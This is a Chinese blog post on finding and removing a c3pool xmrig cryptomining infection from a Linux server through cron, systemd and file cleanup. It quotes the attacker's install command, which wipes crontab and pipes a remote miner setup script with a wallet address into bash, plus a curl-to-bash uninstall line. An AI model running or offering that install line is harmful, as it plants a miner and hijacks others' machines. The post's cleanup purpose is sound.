【安全】查杀linux上c3pool挖矿病毒xmrig

落日映苍穹つ 2024-04-26 10:47 75阅读 0赞

挖矿平台：[猫池][Link 1]

病毒来源安装脚本

cat /root/c3pool/config.json
    
    crontab -r
    cd /root/c3pool
    
    curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33QxjJdzzcMA2bvwo6P4i6AxZjzsh227W3SjodscE45xFD7iXuW12

![在这里插入图片描述][3c09fcc5fdd5439b80a6cc9f7ea3a8b1.png]  
旷池提供的卸载脚本

curl -s -L http://download.c3pool.com/xmrig_setup/raw/master/uninstall_c3pool_miner.sh | bash -s

### 中毒现象 ###

高cpu和高内存占用  
![在这里插入图片描述][6f61676fd46e43b7a86c338f54936be9.png]  
kill -9 杀掉之后自动重启  
![在这里插入图片描述][434e4d66f1ab4dfb9b953053346cb755.png]  
![在这里插入图片描述][f989b238696545ad928ab8bd24d26907.png]  
进程ip：47.76.163.177 为美国IP，[IP查询][IP]  
![在这里插入图片描述][d2397b1731804bd0aca0482b334a9c92.png]

### 查杀过程 ###

查找病毒脚本位置`find / -name xmrig`  
![在这里插入图片描述][e7b90bc0076846c8b95e6dbe350b7636.png]

#### 检查是否有相关的定时任务 ####

crontab -l

如果有定时任务则删除掉  
![在这里插入图片描述][1b3e107776d844e1ac1a336162eb2a67.png]

find / -name cron* -type d

#### 查找自启动服务 ####

因为kill -9杀掉进程之后会立即重启，需找到自启动服务，禁用后删除

systemctl list-units --type=service

![在这里插入图片描述][47798d2ae8be4d409918f0e8bc998b63.png]

find / -name c3pool_miner.service

找到所有相关的服务，全部删除

# 关闭自启动
    systemctl disable c3pool_miner.service
    # 停止服务
    systemctl stop c3pool_miner.service
    # 删除服务
    rm -f /etc/systemd/system/c3pool_miner.service

![在这里插入图片描述][75fca3435b7d451d8573979df31d2660.png]  
最后将脚本文件删除

rm -rf /root/c3pool/

[【安全】查杀linux上c3pool挖矿病毒xmrig][linux_c3pool_xmrig]  
[【安全】查杀linux挖矿病毒 kswapd0][linux_ kswapd0]  
[【安全】查杀linux隐藏挖矿病毒rcu\_tasked][linux_rcu_tasked]  
[【安全】挖矿木马自助清理手册][Link 2]

[Link 1]: https://c3pool.com/oldui/cn/
[3c09fcc5fdd5439b80a6cc9f7ea3a8b1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/d88f103c9254472899627d4fafa81e16.png
[6f61676fd46e43b7a86c338f54936be9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/6e98c99ce2944cbd99ace799889dec85.png
[434e4d66f1ab4dfb9b953053346cb755.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/b9f27509b9d84da1947cfef9621be2cb.png
[f989b238696545ad928ab8bd24d26907.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/92e0f784bd6f49a4b4a3b9079efd2083.png
[IP]: https://ip.cn/
[d2397b1731804bd0aca0482b334a9c92.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/aa89249c9e5c4a3aad67636e26a21daf.png
[e7b90bc0076846c8b95e6dbe350b7636.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/a8078742328f4538971dc24747df718b.png
[1b3e107776d844e1ac1a336162eb2a67.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/ff91be6b797a4720b51156a8a90693a3.png
[47798d2ae8be4d409918f0e8bc998b63.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/c762cea5769b4d06b4d0fc54c734e9e7.png
[75fca3435b7d451d8573979df31d2660.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/de585eb7885f48989104a9326b37f991.png
[linux_c3pool_xmrig]: https://blog.csdn.net/UberSoldier/article/details/136477444
[linux_ kswapd0]: https://blog.csdn.net/UberSoldier/article/details/137636829
[linux_rcu_tasked]: https://blog.csdn.net/UberSoldier/article/details/134039899
[Link 2]: https://blog.csdn.net/UberSoldier/article/details/137676834